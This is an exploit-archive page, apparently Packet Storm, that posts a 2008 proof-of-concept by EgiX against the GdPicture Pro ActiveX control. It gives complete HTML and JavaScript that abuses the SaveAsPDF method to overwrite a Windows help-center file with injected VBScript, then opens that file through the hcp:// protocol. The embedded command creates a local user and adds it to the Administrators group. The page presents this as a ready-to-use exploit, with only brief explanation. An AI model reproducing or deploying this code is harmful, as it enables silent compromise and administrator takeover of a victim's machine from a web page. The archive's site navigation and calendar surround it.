exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

gdpicture-exec.txt

gdpicture-exec.txt
Posted Oct 1, 2008
Authored by EgiX

GdPicture Pro ActiveX file overwrite and execution exploit that makes use of gdpicture4s.ocx.

tags | exploit, activex
SHA-256 | 1fff701b6ded72f1de5d27cdad225d0ae43db634685b8bad3d357708af30183c

gdpicture-exec.txt

Change Mirror Download
<!--

---------------------------------------------------------------------------------
GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution Exploit
---------------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.gdpicture.com/
ProgID...: GdPicture4S.Imaging

Description:

SaveAsPDF() method allow to create / overwrite file through
sFilePath argument. By using other arguments, such as sTitle,
an attacker could be inject html code and execute it using
the hcp:// protocol (tecnique discovered by rgod).
Also GdPicturePro5.Imaging is prone to this vulnerability,
but it doesn't implements the IObjectSafety interface.

Tested on Windows XP SP2 with IE 6/7

Object safety report:

Report for Clsid: {E8512363-3581-42EF-A43D-990E7935C8BE}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data

[*] A special thanks goes to shinnai, for his patience :)

-->

<object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE' id='test'></object>

<script language='javascript'>

var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add";

var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";

var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
"\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
"\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
"\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";

var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" +
"<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>";

test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the nag screen
test.CreateImageFromString(BMP);

if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm";

</script>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close